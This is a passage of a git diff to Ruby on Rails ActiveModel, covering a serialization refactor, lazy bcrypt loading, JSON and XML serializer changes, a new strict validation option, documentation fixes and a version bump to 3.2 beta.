b/activemodel/lib/active_model/naming.rb index 74708692af..f16459ede2 100644 --- a/activemodel/lib/active_model/naming.rb +++ b/activemodel/lib/active_model/naming.rb @@ -1,14 +1,18 @@ require 'active_support/inflector' require 'active_support/core_ext/hash/except' require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/deprecation' module ActiveModel class Name < String attr_reader :singular, :plural, :element, :collection, :partial_path, :route_key, :param_key, :i18n_key alias_method :cache_key, :collection - def initialize(klass, namespace = nil) - super(klass.name) + deprecate :partial_path => "ActiveModel::Name#partial_path is deprecated. Call #to_partial_path on model instances directly instead." + + def initialize(klass, namespace = nil, name = nil) + name ||= klass.name + super(name) @unnamespaced = self.sub(/^#{namespace.name}::/, '') if namespace @klass = klass diff --git a/activemodel/lib/active_model/observer_array.rb b/activemodel/lib/active_model/observer_array.rb index 5fb73f1c78..3d463885be 100644 --- a/activemodel/lib/active_model/observer_array.rb +++ b/activemodel/lib/active_model/observer_array.rb @@ -15,7 +15,7 @@ module ActiveModel disabled_observers.include?(observer.class) end - # Disables one or more observers. This supports multiple forms: + # Disables one or more observers. This supports multiple forms: # # ORM.observers.disable :user_observer # # => disables the UserObserver @@ -38,7 +38,7 @@ module ActiveModel set_enablement(false, observers, &block) end - # Enables one or more observers. This supports multiple forms: + # Enables one or more observers. This supports multiple forms: # # ORM.observers.enable :user_observer # # => enables the UserObserver @@ -59,7 +59,7 @@ module ActiveModel # # just the duration of the block # end # - # Note: all observers are enabled by default. This method is only + # Note: all observers are enabled by default. This method is only # useful when you have previously disabled one or more observers. def enable(*observers, &block) set_enablement(true, observers, &block) diff --git a/activemodel/lib/active_model/observing.rb b/activemodel/lib/active_model/observing.rb index b94ad4bb9b..7a910d18e7 100644 --- a/activemodel/lib/active_model/observing.rb +++ b/activemodel/lib/active_model/observing.rb @@ -125,7 +125,7 @@ module ActiveModel # # class CommentObserver < ActiveModel::Observer # def after_save(comment) - # Notifications.deliver_comment("admin@do.com", "New comment was posted", comment) + # Notifications.comment("admin@do.com", "New comment was posted", comment).deliver # end # end # @@ -226,10 +226,10 @@ module ActiveModel # Send observed_method(object) if the method exists and # the observer is enabled for the given object's class. - def update(observed_method, object) #:nodoc: + def update(observed_method, object, &block) #:nodoc: return unless respond_to?(observed_method) return if disabled_for?(object) - send(observed_method, object) + send(observed_method, object, &block) end # Special method sent by the observed class when it is inherited. diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb index ee94ad66cf..db78864c67 100644 --- a/activemodel/lib/active_model/secure_password.rb +++ b/activemodel/lib/active_model/secure_password.rb @@ -1,5 +1,3 @@ -require 'bcrypt' - module ActiveModel module SecurePassword extend ActiveSupport::Concern @@ -12,6 +10,10 @@ module ActiveModel # a "password_confirmation" attribute) are automatically added. # You can add more validations by hand if need be. # + # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use has_secure_password: + # + # gem 'bcrypt-ruby', '~> 3.0.0' + # # Example using Active Record (which automatically includes ActiveModel::SecurePassword): # # # Schema: User(name:string, password_digest:string) @@ -30,7 +32,12 @@ module ActiveModel # User.find_by_name("david").try(:authenticate, "notright") # => nil # User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user def has_secure_password - attr_reader :password + # Load bcrypt-ruby only when has_secure_password is used. + # This is to avoid ActiveModel (and by extension the entire framework) being dependent on a binary library. + gem 'bcrypt-ruby', '~> 3.0.0' + require 'bcrypt' + + attr_reader :password validates_confirmation_of :password validates_presence_of :password_digest diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb index caf44a2ee0..a4b58ab456 100644 --- a/activemodel/lib/active_model/serialization.rb +++ b/activemodel/lib/active_model/serialization.rb @@ -1,5 +1,7 @@ require 'active_support/core_ext/hash/except' require 'active_support/core_ext/hash/slice' +require 'active_support/core_ext/array/wrap' + module ActiveModel # == Active Model Serialization @@ -31,7 +33,7 @@ module ActiveModel # you want to serialize and their current value. # # Most of the time though, you will want to include the JSON or XML - # serializations. Both of these modules automatically include the + # serializations. Both of these modules automatically include the # ActiveModel::Serialization module, so there is no need to explicitly # include it. # @@ -69,18 +71,69 @@ module ActiveModel def serializable_hash(options = nil) options ||= {} - only = Array.wrap(options[:only]).map(&:to_s) - except = Array.wrap(options[:except]).map(&:to_s) - attribute_names = attributes.keys.sort - if only.any? - attribute_names &= only - elsif except.any? - attribute_names -= except + if only = options[:only] + attribute_names &= Array.wrap(only).map(&:to_s) + elsif except = options[:except] + attribute_names -= Array.wrap(except).map(&:to_s) + end + + hash = {} + attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) } + + method_names = Array.wrap(options[:methods]).select { |n| respond_to?(n) } + method_names.each { |n| hash[n] = send(n) } + + serializable_add_includes(options) do |association, records, opts| + hash[association] = if records.is_a?(Enumerable) + records.map { |a| a.serializable_hash(opts) } + else + records.serializable_hash(opts) + end end - method_names = Array.wrap(options[:methods]).map { |n| n if respond_to?(n.to_s) }.compact - Hash[(attribute_names + method_names).map { |n| [n, send(n)] }] + hash end + + private + + # Hook method defining how an attribute value should be retrieved for + # serialization. By default this is assumed to be an instance named after + # the attribute. Override this method in subclasses should you need to + # retrieve the value for a given attribute differently: + # + # class MyClass + # include ActiveModel::Validations + # + # def initialize(data = {}) + # @data = data + # end + # + # def read_attribute_for_serialization(key) + # @data[key] + # end + # end + # + alias :read_attribute_for_serialization :send + + # Add associations specified via the <tt>:include</tt> option. + # + # Expects a block that takes as arguments: + # +association+ - name of the association + # +records+ - the association record(s) to be serialized + # +opts+ - options for the association records + def serializable_add_includes(options = {}) #:nodoc: + return unless include = options[:include] + + unless include.is_a?(Hash) + include = Hash[Array.wrap(include).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }] + end + + include.each do |association, opts| + if records = send(association) + yield association, records, opts + end + end + end end end diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb index 0bfbf2aa06..c845440120 100644 --- a/activemodel/lib/active_model/serializers/json.rb +++ b/activemodel/lib/active_model/serializers/json.rb @@ -15,53 +15,60 @@ module ActiveModel self.include_root_in_json = true end - # Returns a JSON string representing the model. Some configuration can be + # Returns a hash representing the model. Some configuration can be # passed through +options+. # # The option <tt>include_root_in_json</tt> controls the top-level behavior # of +as_json+. If true (the default) +as_json+ will emit a single root # node named after the object's type. For example: # - # konata = User.find(1) - # konata.as_json + # user = User.find(1) + # user.as_json # # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16, # "created_at": "2006/08/01", "awesome": true} } # # ActiveRecord::Base.include_root_in_json = false - # konata.as_json + # user.as_json # # => {"id": 1, "name": "Konata Izumi", "age": 16, # "created_at": "2006/08/01", "awesome": true} # - # The remainder of the examples in this section assume +include_root_in_json+ - # is false. + # This behavior can also be achieved by setting the <tt>:root</tt> option to +false+ as in: # - # Without any +options+, the returned JSON string will include all the model's + # user = User.find(1) + # user.as_json(root: false) + # # => {"id": 1, "name": "Konata Izumi", "age": 16, + # "created_at": "2006/08/01", "awesome": true} + # + # The remainder of the examples in this section assume include_root_in_json is set to + # <tt>false</tt>. + # + # Without any +options+, the returned Hash will include all the model's # attributes. For example: # - # konata = User.find(1) - # konata.as_json + # user = User.find(1) + # user.as_json # # => {"id": 1, "name": "Konata Izumi", "age": 16, # "created_at": "2006/08/01", "awesome": true} # # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the attributes # included, and work similar to the +attributes+ method. For example: # - # konata.as_json(:only => [ :id, :name ]) + # user.as_json(:only => [ :id, :name ]) # # => {"id": 1, "name": "Konata Izumi"} # - # konata.as_json(:except => [ :id, :created_at, :age ]) + # user.as_json(:except => [ :id, :created_at, :age ]) # # => {"name": "Konata Izumi", "awesome": true} # # To include the result of some method calls on the model use <tt>:methods</tt>: # - # konata.as_json(:methods => :permalink) + # user.as_json(:methods => :permalink) # # => {"id": 1, "name": "Konata Izumi", "age": 16, # "created_at": "2006/08/01", "awesome": true, # "permalink": "1-konata-izumi"} # # To include associations use <tt>:include</tt>: # - # konata.as_json(:include => :posts) + # user.as_json(:include => :posts) # # => {"id": 1, "name": "Konata Izumi", "age": 16, # "created_at": "2006/08/01", "awesome": true, # "posts": [{"id": 1, "author_id": 1, "title": "Welcome to the weblog"}, @@ -69,7 +76,7 @@ module ActiveModel # # Second level and higher order associations work as well: # - # konata.as_json(:include => { :posts => { + # user.as_json(:include => { :posts => { # :include => { :comments => { # :only => :body } }, # :only => :title } }) @@ -79,21 +86,20 @@ module ActiveModel # "title": "Welcome to the weblog"}, # {"comments": [{"body": "Don't think too hard"}], # "title": "So I was thinking"}]} - def as_json(options = nil) - hash = serializable_hash(options) - - if include_root_in_json - custom_root = options && options[:root] - hash = { custom_root || self.class.model_name.element => hash } + root = include_root_in_json + root = options[:root] if options.try(:key?, :root) + if root + root = self.class.model_name.element if root == true + { root => serializable_hash(options) } + else + serializable_hash(options) end - - hash end - def from_json(json) + def from_json(json, include_root=include_root_in_json) hash = ActiveSupport::JSON.decode(json) - hash = hash.values.first if include_root_in_json + hash = hash.values.first if include_root self.attributes = hash self end diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb index eb3975f86b..d61d9d7119 100644 --- a/activemodel/lib/active_model/serializers/xml.rb +++ b/activemodel/lib/active_model/serializers/xml.rb @@ -15,10 +15,10 @@ module ActiveModel class Attribute #:nodoc: attr_reader :name, :value, :type - def initialize(name, serializable, raw_value=nil) + def initialize(name, serializable, value) @name, @serializable = name, serializable - raw_value = raw_value.in_time_zone if raw_value.respond_to?(:in_time_zone) - @value = raw_value || @serializable.send(name) + value = value.in_time_zone if value.respond_to?(:in_time_zone) + @value = value @type = compute_type end @@ -49,40 +49,24 @@ module ActiveModel def initialize(serializable, options = nil) @serializable = serializable @options = options ? options.dup : {} - - @options[:only] = Array.wrap(@options[:only]).map { |n| n.to_s } - @options[:except] = Array.wrap(@options[:except]).map { |n| n.to_s } end - # To replicate the behavior in ActiveRecord#attributes, <tt>:except</tt> - # takes precedence over <tt>:only</tt>. If <tt>:only</tt> is not set - # for a N level model but is set for the N+1 level models, - # then because <tt>:except</tt> is set to a default value, the second - # level model can have both <tt>:except</tt> and <tt>:only</tt> set. So if - # <tt>:only</tt> is set, always delete <tt>:except</tt>. - def attributes_hash - attributes = @serializable.attributes - if options[:only].any? - attributes.slice(*options[:only]) - elsif options[:except].any? - attributes.except(*options[:except]) - else - attributes - end + def serializable_hash + @serializable.serializable_hash(@options.except(:include)) end - def serializable_attributes - attributes_hash.map do |name, value| - self.class::Attribute.new(name, @serializable, value) + def serializable_collection + methods = Array.wrap(options[:methods]).map(&:to_s) + serializable_hash.map do |name, value| + name = name.to_s + if methods.include?(name) + self.class::MethodAttribute.new(name, @serializable, value) + else + self.class::Attribute.new(name, @serializable, value) + end end end - def serializable_methods - Array.wrap(options[:methods]).map do |name| - self.class::MethodAttribute.new(name.to_s, @serializable) if @serializable.respond_to?(name.to_s) - end.compact - end - def serialize require 'builder' unless defined? ::Builder @@ -101,6 +85,7 @@ module ActiveModel @builder.tag!(*args) do add_attributes_and_methods + add_includes add_extra_behavior add_procs yield @builder if block_given? @@ -113,13 +98,52 @@ module ActiveModel end def add_attributes_and_methods - (serializable_attributes + serializable_methods).each do |attribute| + serializable_collection.each do |attribute| key = ActiveSupport::XmlMini.rename_key(attribute.name, options) ActiveSupport::XmlMini.to_tag(key, attribute.value, options.merge(attribute.decorations)) end end + def add_includes + @serializable.send(:serializable_add_includes, options) do |association, records, opts| + add_associations(association, records, opts) + end + end + + # TODO This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well. + def add_associations(association, records, opts) + merged_options = opts.merge(options.slice(:builder, :indent)) + merged_options[:skip_instruct] = true + + if records.is_a?(Enumerable) + tag = ActiveSupport::XmlMini.rename_key(association.to_s, options) + type = options[:skip_types] ? { } : {:type => "array"} + association_name = association.to_s.singularize + merged_options[:root] = association_name + + if records.empty? + @builder.tag!(tag, type) + else + @builder.tag!(tag, type) do + records.each do |record| + if options[:skip_types] + record_type = {} + else + record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name + record_type = {:type => record_class} + end + + record.to_xml merged_options.merge(record_type) + end + end + end + else + merged_options[:root] = association.to_s + records.to_xml(merged_options) + end + end + def add_procs if procs = options.delete(:procs) Array.wrap(procs).each do |proc| @@ -139,8 +163,8 @@ module ActiveModel # Without any +options+, the returned XML string will include all the model's # attributes. For example: # - # konata = User.find(1) - # konata.to_xml + # user = User.find(1) + # user.to_xml # # <?xml version="1.0" encoding="UTF-8"?> # <user> diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb index 5e567307f3..8ed392abca 100644 --- a/activemodel/lib/active_model/validations.rb +++ b/activemodel/lib/active_model/validations.rb @@ -81,7 +81,7 @@ module ActiveModel # proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or - # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. def validates_each(*attr_names, &block) options = attr_names.extract_options!.symbolize_keys diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb index 4f390613aa..e628c6f306 100644 --- a/activemodel/lib/active_model/validations/acceptance.rb +++ b/activemodel/lib/active_model/validations/acceptance.rb @@ -49,7 +49,7 @@ module ActiveModel # before validation. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine # if the validation should occur (e.g. <tt>:if => :allow_validation</tt>, - # or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false # value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to @@ -58,6 +58,8 @@ module ActiveModel # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or # false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_acceptance_of(*attr_names) validates_with AcceptanceValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb index e6d10cfff8..6573a7d264 100644 --- a/activemodel/lib/active_model/validations/confirmation.rb +++ b/activemodel/lib/active_model/validations/confirmation.rb @@ -50,7 +50,7 @@ module ActiveModel # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine # if the validation should occur (e.g. <tt>:if => :allow_validation</tt>, - # or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false # value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to @@ -58,6 +58,8 @@ module ActiveModel # <tt>:unless => :skip_validation</tt>, or # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_confirmation_of(*attr_names) validates_with ConfirmationValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb index a85c23f725..644cc814a7 100644 --- a/activemodel/lib/active_model/validations/exclusion.rb +++ b/activemodel/lib/active_model/validations/exclusion.rb @@ -1,4 +1,4 @@ -require 'active_support/core_ext/range.rb' +require 'active_support/core_ext/range' module ActiveModel @@ -54,11 +54,13 @@ module ActiveModel # validation contexts by default (+nil+), other options are <tt>:create</tt> # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_exclusion_of(*attr_names) validates_with ExclusionValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb index 6f23d492eb..d3faa8c6a6 100644 --- a/activemodel/lib/active_model/validations/format.rb +++ b/activemodel/lib/active_model/validations/format.rb @@ -79,11 +79,13 @@ module ActiveModel # validation contexts by default (+nil+), other options are <tt>:create</tt> # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_format_of(*attr_names) validates_with FormatValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb index d32aebeb88..147e2ecb69 100644 --- a/activemodel/lib/active_model/validations/inclusion.rb +++ b/activemodel/lib/active_model/validations/inclusion.rb @@ -1,4 +1,4 @@ -require 'active_support/core_ext/range.rb' +require 'active_support/core_ext/range' module ActiveModel @@ -54,11 +54,13 @@ module ActiveModel # validation contexts by default (+nil+), other options are <tt>:create</tt> # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_inclusion_of(*attr_names) validates_with InclusionValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb index d595a5fb43..eb7aac709d 100644 --- a/activemodel/lib/active_model/validations/length.rb +++ b/activemodel/lib/active_model/validations/length.rb @@ -62,14 +62,14 @@ module ActiveModel # Validates that the specified attribute matches the length restrictions supplied. Only one option can be used at a time: # # class Person < ActiveRecord::Base - # validates_length_of :first_name, :maximum=>30 - # validates_length_of :last_name, :maximum=>30, :message=>"less than 30 if you don't mind" + # validates_length_of :first_name, :maximum => 30 + # validates_length_of :last_name, :maximum => 30, :message => "less than 30 if you don't mind" # validates_length_of :fax, :in => 7..32, :allow_nil => true # validates_length_of :phone, :in => 7..32, :allow_blank => true # validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name" # validates_length_of :zip_code, :minimum => 5, :too_short => "please enter at least 5 characters" # validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with 4 characters... don't play me." - # validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least 100 words."), :tokenizer => lambda {|str| str.scan(/\w+/) } + # validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least 100 words.", :tokenizer => lambda { |str| str.scan(/\w+/) } # end # # Configuration options: @@ -83,19 +83,21 @@ module ActiveModel # * <tt>:too_long</tt> - The error message if the attribute goes over the maximum (default is: "is too long (maximum is %{count} characters)"). # * <tt>:too_short</tt> - The error message if the attribute goes under the minimum (default is: "is too short (min is %{count} characters)"). # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> method and the attribute is the wrong size (default is: "is the wrong length (should be %{count} characters)"). - # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message. + # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message. # * <tt>:on</tt> - Specifies when this validation is active. Runs in all # validation contexts by default (+nil+), other options are <tt>:create</tt> # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to # count words as in above example.) # Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_length_of(*attr_names) validates_with LengthValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb index 42556c80a9..34d447a0fa 100644 --- a/activemodel/lib/active_model/validations/numericality.rb +++ b/activemodel/lib/active_model/validations/numericality.rb @@ -102,11 +102,13 @@ module ActiveModel # * <tt>:odd</tt> - Specifies the value must be an odd number. # * <tt>:even</tt> - Specifies the value must be an even number. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information # # The following checks can also be supplied with a proc or a symbol which corresponds to a method: # * <tt>:greater_than</tt> diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb index cfb4c33dcc..35af7152db 100644 --- a/activemodel/lib/active_model/validations/presence.rb +++ b/activemodel/lib/active_model/validations/presence.rb @@ -35,6 +35,8 @@ module ActiveModel # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information # def validates_presence_of(*attr_names) validates_with PresenceValidator, _merge_attributes(attr_names) diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb index 7ff42de00b..fbceb81e8f 100644 --- a/activemodel/lib/active_model/validations/validates.rb +++ b/activemodel/lib/active_model/validations/validates.rb @@ -27,7 +27,7 @@ module ActiveModel # # class EmailValidator < ActiveModel::EachValidator # def validate_each(record, attribute, value) - # record.errors[attribute] << (options[:message] || "is not an email") unless + # record.errors.add attribute, (options[:message] || "is not an email") unless # value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i # end # end @@ -48,7 +48,7 @@ module ActiveModel # # class TitleValidator < ActiveModel::EachValidator # def validate_each(record, attribute, value) - # record.errors[attribute] << "must start with 'the'" unless value =~ /\Athe/i + # record.errors.add attribute, "must start with 'the'" unless value =~ /\Athe/i # end # end # @@ -70,8 +70,8 @@ module ActiveModel # validator's initializer as +options[:in]+ while other types including # regular expressions and strings are passed as +options[:with]+ # - # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+ and +:allow_nil+ can be given - # to one specific validator, as a hash: + # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+ and +:strict+ + # can be given to one specific validator, as a hash: # # validates :password, :presence => { :if => :password_required? }, :confirmation => true # @@ -101,12 +101,24 @@ module ActiveModel end end + # This method is used to define validation that can not be corrected by end user + # and is considered exceptional. + # So each validator defined with bang or <tt>:strict</tt> option set to <tt>true</tt> + # will always raise <tt>ActiveModel::InternalValidationFailed</tt> instead of adding error + # when validation fails + # See <tt>validates</tt> for more information about validation itself. + def validates!(*attributes) + options = attributes.extract_options! + options[:strict] = true + validates(*(attributes << options)) + end + protected # When creating custom validators, it might be useful to be able to specify # additional default keys. This can be done by overwriting this method. def _validates_default_keys - [ :if, :unless, :on, :allow_blank, :allow_nil ] + [ :if, :unless, :on, :allow_blank, :allow_nil , :strict] end def _parse_validates_options(options) #:nodoc: diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb index 65ae18a769..93a340eb39 100644 --- a/activemodel/lib/active_model/validations/with.rb +++ b/activemodel/lib/active_model/validations/with.rb @@ -32,7 +32,7 @@ module ActiveModel # class MyValidator < ActiveModel::Validator # def validate(record) # if some_complex_logic - # record.errors[:base] << "This record is invalid" + # record.errors.add :base, "This record is invalid" # end # end # @@ -61,7 +61,9 @@ module ActiveModel # (e.g. <tt>:unless => :skip_validation</tt>, or # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or false value. - # + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information + # If you pass any additional configuration options, they will be passed # to the class and available as <tt>options</tt>: # @@ -101,7 +103,7 @@ module ActiveModel # class Person # include ActiveModel::Validations # - # validates :instance_validations + # validate :instance_validations # # def instance_validations # validates_with MyValidator @@ -116,7 +118,7 @@ module ActiveModel # class Person # include ActiveModel::Validations # - # validates :instance_validations, :on => :create + # validate :instance_validations, :on => :create # # def instance_validations # validates_with MyValidator, MyOtherValidator @@ -140,4 +142,4 @@ module ActiveModel end end end -end
\ No newline at end of file +end diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb index 5304743389..35ec98c822 100644 --- a/activemodel/lib/active_model/validator.rb +++ b/activemodel/lib/active_model/validator.rb @@ -48,8 +48,8 @@ module ActiveModel #:nodoc: # # class MyValidator < ActiveModel::Validator # def validate(record) - # record.errors[:base] << "This is some custom error message" - # record.errors[:first_name] << "This is some complex validation" + # record.errors.add :base, "This is some custom error message" + # record.errors.add :first_name, "This is some complex validation" # # etc... # end # end @@ -57,7 +57,7 @@ module ActiveModel #:nodoc: # To add behavior to the initialize method, use the following signature: # # class MyValidator < ActiveModel::Validator - # def initialize(record, options) + # def initialize(options) # super # @my_custom_field = options[:field_name] || :first_name # end @@ -68,7 +68,7 @@ module ActiveModel #:nodoc: # # class TitleValidator < ActiveModel::EachValidator # def validate_each(record, attribute, value) - # record.errors[attribute] << 'must be Mr. Mrs. or Dr.' unless value.in?(['Mr.', 'Mrs.', 'Dr.']) + # record.errors.add attribute, 'must be Mr. Mrs. or Dr.' unless value.in?(['Mr.', 'Mrs.', 'Dr.']) # end # end # diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb index 68c138da84..dbda55ca7c 100644 --- a/activemodel/lib/active_model/version.rb +++ b/activemodel/lib/active_model/version.rb @@ -1,9 +1,9 @@ module ActiveModel module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb index 022c6716bd..67471ed497 100644 --- a/activemodel/test/cases/attribute_methods_test.rb +++ 